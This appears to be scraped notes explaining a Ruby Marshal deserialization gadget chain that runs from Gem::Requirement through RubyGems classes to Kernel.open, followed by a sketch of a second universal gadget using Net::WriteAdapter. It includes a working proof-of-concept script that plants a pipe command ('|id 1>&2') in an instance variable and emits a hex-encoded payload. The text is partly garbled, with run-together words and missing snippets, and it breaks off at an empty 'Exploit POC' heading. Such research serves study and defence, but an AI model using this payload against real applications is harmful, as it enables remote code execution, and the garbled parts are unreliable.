https://www.elttam.com/blog/ruby-deserialization/
Important before begin reading
- Marshal.dump means serialize
- Marshal.load means unserialize
- When an object of a class is serialized,
marshal_dumpmethod (if defined in class) is called. - When an object of a class is underialized,
marshal_loadmethod (if defined in class) is called. - When a undefined method is called on an object,
method_missingmethod (if defined in class) is called.
**Chaining begins
-
We can serialize
Gem::Requirementwith marshal_dump to set our controlled variable (@requirements) -
When we deserialize an object in ruby, marshal_load method of that object is called if defined.
Gem::Requirement.marshal_loadcallsfix_syck_default_key_in_requirements. -
Call to
fix_syck_default_key_in_requirementsleads a call to@requirements[0].eachmeaningOUR_CONTROLLED_OBJECT.each
def marshal_dump # :nodoc:
fix_syck_default_key_in_requirements
[@requirements]
end
def marshal_load array # :nodoc:
@requirements = array[0]
fix_syck_default_key_in_requirements
end
def fix_syck_default_key_in_requirements # :nodoc:
Gem.load_yaml
# Fixup the Syck DefaultKey bug
@requirements.each do |r|
if r[0].kind_of? Gem::SyckDefaultKey
r[0] = "="
end
end
end-
Gem::DependencyListhas customeachmethod. If we set@requirements[0]to object ofGem::DependencyListwe can callGem::DependencyList.each. -
Gem::DependencyList.eachinturns callsGem::DependencyList.dependency_orderwhich inturns callsstrongly_connected_components. This is defined inTsortwhich is included inGem::DependencyList. -
After a few calls in Tsort::strongly_connected_components (check https://github.com/ruby/ruby/blob/7cc0c53169759996f75eacd7cceb2ea8d47c57d7/lib/tsort.rb#L255) this will call
INCLUDER-CLASS.tsort_each_childmethod hence we get a call onGem::DependencyList.tsort_each_childleading to@specs.sort.reverse. Giving a new capability to callsorton@specsinstance variable.
require 'tsort'
include TSort
def each(&block)
dependency_order.each(&block)
end
def dependency_order
sorted = strongly_connected_components.flatten
...
end
def tsort_each_child(node)
specs = @specs.sort.reverse
...
endsortuses<=>between array elements to compare.
- A custom implementation of
<=>is inGem::Source::SpecificFile. Which inturns callsnameon@specinstance variable.
def <=> other
case other
when Gem::Source::SpecificFile then
return nil if @spec.name != other.spec.name
....namemethod inGem::StubSpecificationcallsdatawhich callsKernel.openonloaded_frominstance variable. Thus completing the chain.
def name
data.name
end
def data
unless @data
begin
saved_lineno = $.
open loaded_from, OPEN_MODE do |file|
beginclass Gem::StubSpecification
def initialize
end
end
a = Gem::StubSpecification.new
a.instance_variable_set(:@loaded_from, '|id 1>&2')
class Gem::Source::SpecificFile
def initialize
end
end
b = Gem::Source::SpecificFile.new
c = Gem::Source::SpecificFile.new
b.instance_variable_set(:@spec, a)
class Gem::DependencyList
def initialize
end
end
@@d = Gem::DependencyList.new
@@d.instance_variable_set(:@specs, [b,c])
class Gem::Requirement
def marshal_dump
[@@d]
end
end
payload = Marshal.dump(Gem::Requirement.new)
pp = payload.unpack('H*')[0]
puts pp
Universal Deserialisation Gadget for Ruby 2.x-3.x
Gem::Requirementsto invoke each via marshal_load.Reference: https://gist.github.com/rootxharsh/844e901f79c036245f6e336134255ce2
eachmethod onGem::Package::TarReaderwould give us access to.readmethod invocation on our controlled object.There's a catch however, we need to return false from
@io.eof?method and since@iois an instance variable we can control it.Snippet of
Gem::Package::TarReaderIt was found that
Net::BufferedIOhas an eof? method too and again we can control @io instance variable inside this classGem::Package::TarReader::Entryalso has aneof?method which we can control with the help of@readand@headerinstance variables.so that means, we can pass the
eof?condition inuntil loopand would be able to callreadonNet::BufferedIOreadonNet::BufferedIOobject gives us the ability to call LOG which inturn invokes this expression.where setting
@debug_outputtoNet::WriteAdapterwill allow us to call<<method with argumentmsgwhich unfortunately is not in our control.and looking at
Net::WriteAdapterclass,<<method is an alias towritemethod which looks something like this:As we can see @socket and @method_id is in our control. Thus, giving us the capability to call any method on an Object with one argument(which would not be in our control since it comes from LOG method)
Gem::RequestSetclass'resolvemethodto again invoke
<<or say,writemethod ofNet::WriteAdapterwith our controlled input this time since we can control@git_setunlike inLOGMethod where argument was not in our controlGem::RequestSet#resolve
Exploit POC